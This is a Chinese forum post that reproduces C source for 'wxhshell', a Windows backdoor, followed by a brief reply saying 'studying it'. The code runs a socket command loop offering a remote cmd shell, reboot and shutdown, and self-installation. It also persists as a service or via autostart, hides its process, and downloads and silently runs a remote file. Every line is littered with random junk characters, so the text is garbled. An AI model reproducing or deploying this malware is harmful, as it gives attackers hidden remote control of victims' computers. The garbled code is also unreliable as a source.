  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %=NM_5a}]  
  } h}anTFKP  
  else { t6<sNz F&  
/XWPN(JC?  
    switch(cmd[0]) { [#hl}q(P#  
  !^>LOH>j  
  // 帮助  Vq .!(x  
  case '?': { }%o+1 <=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); c:?#zX  
    break; %vf2||a$BS  
  } v GR \GFm  
  // 安装 6mI_Q2  
  case 'i': { |l6<GWG+  
    if(Install()) O]Ry3j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5O;a/q8"  
    else uh C=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F$6])F  
    break; dPH! V6r  
    } u/!mN2{Rd  
  // 卸载 ~`G;=ITo  
  case 'r': { K\^&_#MG  
    if(Uninstall()) 9z| >roNe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L6[rvM|9_  
    else L5zG0mC8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DK@w^ZW6JA  
    break; e~t}z_>F  
    } \4\\575zp'  
  // 显示 wxhshell 所在路径 c5B_WqjJ  
  case 'p': { gq/ePSa  
    char svExeFile[MAX_PATH]; ,IT)zCpaBP  
    strcpy(svExeFile,"\n\r"); +c]N]?k&  
      strcat(svExeFile,ExeFile); 9?g]qy,1)  
        send(wsh,svExeFile,strlen(svExeFile),0); r7Q:l ?F2  
    break; -_{C+Y_  
    } ZyS;+"  
  // 重启 7?Qt2tr  
  case 'b': { h87L8qh9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  0'V-  
    if(Boot(REBOOT)) VJ6>3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8H 3!; ]  
    else { q5I4'6NF  
    closesocket(wsh); oxCs*   
    ExitThread(0); ~7ATt8T  
    } VHgF#6'   
    break; EMW4<na[  
    } 9p[W :)P4d  
  // 关机 7uv/@(J"$  
  case 'd': { +9Hk+.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =|6^)lt$  
    if(Boot(SHUTDOWN)) Z+``/Q]>+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FQ9csUjpB  
    else { NqQ(X'W7  
    closesocket(wsh); 3h D2C'KD  
    ExitThread(0);  &aevR^f+  
    } 1VjeP *  
    break; /SqFP L]  
    } -9H!j4]T?  
  // 获取shell DX%8. @  
  case 's': { S,`Sq8H  
    CmdShell(wsh); uZ0 $s$  
    closesocket(wsh); SRG!G]?-  
    ExitThread(0); !7ZfT?&  
    break; bW 86Iw  
  } j6R{  
  // 退出 0IPhVG~#  
  case 'x': { t7!>5e)C}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t5jhpPVf  
    CloseIt(wsh);  ,3@15j  
    break; :E >n)_^  
    } 7>2j=Y_Kp  
  // 离开 S"KTL*9D  
  case 'q': { JIY ^N9_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hyvV%z Z  
    closesocket(wsh); V&,<,iNN  
    WSACleanup(); 5cNzG4z  
    exit(1); (;2J(GZ:$U  
    break; {ck  
        } %B {D  
  } l6`d48U  
  } 2;?wN`}5g=  
3ciVjH>i  
  // 提示信息 "mP*}VF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p=`x  
} uDE91.pUkr  
  } Y^jnlS)h  
S^Wqa:;  
  return; Ji}IV  
} (y+5d00  
li_pM!dWU_  
// shell模块句柄 rCSG@D.  
int CmdShell(SOCKET sock) [-Dgo1}Qr  
{ eVCkPv *  
STARTUPINFO si; ?;KJ (@Va  
ZeroMemory(&si,sizeof(si)); 3Ibt'$dK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P=sK+}5`q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PM@s}(  
PROCESS_INFORMATION ProcessInfo; VrGb;L'[  
char cmdline[]="cmd"; %`\3V {2*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SKc T  
  return 0; PcSoG\- G<  
} dpGQ0EzH^  
P!6e  
// 自身启动模式 n"d)  
int StartFromService(void) Q!+{MsZ  
{ &v9PT!R~  
typedef struct dT@SO  
{ SE}RP3dF!  
  DWORD ExitStatus; sO4}kxZ  
  DWORD PebBaseAddress; .vOpU4  
  DWORD AffinityMask; |b'<XQ&l5  
  DWORD BasePriority; k89gJ5B$  
  ULONG UniqueProcessId; (+Kof  
  ULONG InheritedFromUniqueProcessId; C"` 'Re5)  
}   PROCESS_BASIC_INFORMATION; NK#"qK""k  
%]sEt{  
PROCNTQSIP NtQueryInformationProcess; 8.Own=G?  
:V-}Sde  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }zS&H-8K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6 9I.*[  
E5[]eg~w%{  
  HANDLE             hProcess; E=_B@VJknW  
  PROCESS_BASIC_INFORMATION pbi; wyzBkRg.  
>yT@?!/Q>'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zm3MOH^a  
  if(NULL == hInst ) return 0; ~lalc ^  
< ,cIc]eX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \,bFm,kC?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q(PT'z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >A(?Pn{|a  
qT>& v_<  
  if (!NtQueryInformationProcess) return 0; DdS3<3]A  
!e\R;bYM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x< y[na  
  if(!hProcess) return 0; fJ"~XTN}T  
L+ETMk0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gZ >orZL'  
w4MMo  
  CloseHandle(hProcess); xEZVsz  
NF)\">Ye  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _BLSI8!N@  
if(hProcess==NULL) return 0; >5vl{{,$K  
er7/BE&  
HMODULE hMod; 09;'z  
char procName[255]; =jv$ 1  
unsigned long cbNeeded; sd@gEp)L  
FQ~ead36C  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iN/!k.ybW}  
E29gnYxu8  
  CloseHandle(hProcess);  H[!Q  
f, j(uP  
if(strstr(procName,"services")) return 1; // 以服务启动 u-M$45vct  
)E~\H+FP6  
  return 0; // 注册表启动 ?O>JtEz~lQ  
} L\?g/l+k  
FjLv*K[#d  
// 主模块 . N} }cJq  
int StartWxhshell(LPSTR lpCmdLine) @NwM+^  
{ f{5| }PL  
  SOCKET wsl; SU}oKii /  
BOOL val=TRUE; AXv;r<  
  int port=0; iGeT^!N  
  struct sockaddr_in door; W!0  
bOIM0<(h  
  if(wscfg.ws_autoins) Install(); ,Yprk%JT  
pW^ ?g|_}  
port=atoi(lpCmdLine); Y*`A$  
I4X+'fW,  
if(port<=0) port=wscfg.ws_port; u{nWjqrM*5  
n6UU6t{  
  WSADATA data; uZ?CVluP  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j72] _G  
U <$xp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   nV xMo_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); L.%~?T[F  
  door.sin_family = AF_INET; 3pjYY$'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Jas|P}{=fT  
  door.sin_port = htons(port); {)gd|JV*  
l3#dfW{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QT l._j@  
closesocket(wsl); DCzPm/#b  
return 1; lJY=*KB(6  
} )MW}!U9G  
}' 0Xz9/ l  
  if(listen(wsl,2) == INVALID_SOCKET) { }vA nP]!A5  
closesocket(wsl); [qMO7enu#  
return 1; =y]b|"s~2  
} R9-JjG2v  
  Wxhshell(wsl); eh/OCzWH  
  WSACleanup(); ]S aH/$  
pV|?dQ  
return 0; T9<nD"=:  
Zy3&Zt  
} 4lf36K ,  
m7eIhmP  
// 以NT服务方式启动 $D\l%y/C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~#km0<r?  
{ :.<TWBoV  
DWORD   status = 0; eo52X &I  
  DWORD   specificError = 0xfffffff; gWH9=%!  
LU7)F,ok  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A.x}%v,E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v]SE?xF{U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6$<o^Ha*R  
  serviceStatus.dwWin32ExitCode     = 0; !;!~5"0~"  
  serviceStatus.dwServiceSpecificExitCode = 0; +5|nCp6||j  
  serviceStatus.dwCheckPoint       = 0; =i>F^7)U1  
  serviceStatus.dwWaitHint       = 0; ko>O ~@r  
mKn357:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F1*rUsRKN  
  if (hServiceStatusHandle==0) return; #TwE??ms  
]3u'Qv}o  
status = GetLastError(); RW^v{'o  
  if (status!=NO_ERROR) CuO*>g^K[  
{ UKQ&TV}0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;C3?Ic  
    serviceStatus.dwCheckPoint       = 0; 3Wxtxk._E  
    serviceStatus.dwWaitHint       = 0; :bDn.`KG#  
    serviceStatus.dwWin32ExitCode     = status; {^MAdC_  
    serviceStatus.dwServiceSpecificExitCode = specificError; xKzFrP;/{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (NN14  
    return; GZVl384@  
  } 4l UE(#kUM  
Zw\V}uXI?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D\*_ulc]  
  serviceStatus.dwCheckPoint       = 0; mg/kyua^  
  serviceStatus.dwWaitHint       = 0; !:[n3.vm   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NRF%Qd8I/2  
} wggHUr(g,  
?s} E<Kr  
// 处理NT服务事件,比如:启动、停止 <@!kR$Rd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `0sk2fn  
{ nJH%pBc  
switch(fdwControl) (jFE{M$-  
{ lj*913aFh  
case SERVICE_CONTROL_STOP: Z9~Wlt'?  
  serviceStatus.dwWin32ExitCode = 0; [F{a-i-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z9O/MHT[w  
  serviceStatus.dwCheckPoint   = 0; |Z|xM  
  serviceStatus.dwWaitHint     = 0; 8%f! X51  
  { U(LR('-h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lG#&1  
  } lA 0_I"b2Y  
  return; L([>yQZ  
case SERVICE_CONTROL_PAUSE: =,G(1#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;-^9j)31+F  
  break; >F_Ne)}qTQ  
case SERVICE_CONTROL_CONTINUE: %GiO1:t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ua-|4@YO  
  break; |o) _=Fx  
case SERVICE_CONTROL_INTERROGATE: tKGsrgoV  
  break; ',7Z1O  
}; +%9Y7qol  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q\Kdu5x{  
} =8_TOvSJ4p  
vqZM89 xY  
// 标准应用程序主函数 31Mc<4zI8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]3jH^7[?  
{ F|{?GV%hF  
5B/\vLHg4  
// 获取操作系统版本 FY*0gp  
OsIsNt=GetOsVer(); Jo+C!kc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =JH,RQ *  
wGX"R5  
  // 从命令行安装 }"H900WE|  
  if(strpbrk(lpCmdLine,"iI")) Install(); $m oa8  
gRI|rDC)B  
  // 下载执行文件 O G}&%NgH  
if(wscfg.ws_downexe) { Vs"Q-?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %y+j~]^:  
  WinExec(wscfg.ws_filenam,SW_HIDE); C YKGf1;If  
} #eyx  
ITUl -L4xE  
if(!OsIsNt) { 7gaC)j&  
// 如果时win9x,隐藏进程并且设置为注册表启动 M'7x:Uw;  
HideProc(); )!72^rl  
StartWxhshell(lpCmdLine); dsuW4 ^ l  
} s>I}-=.(Q  
else =ab}.dWC  
  if(StartFromService()) b"bj|qF~E  
  // 以服务方式启动 k]5L\]>y  
  StartServiceCtrlDispatcher(DispatchTable); TY?io@  
else Ve) :I  
  // 普通方式启动 h(sKGCG  
  StartWxhshell(lpCmdLine); i.4[]f[/h  
n(VMGCZPV  
return 0; !W^II>Y  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八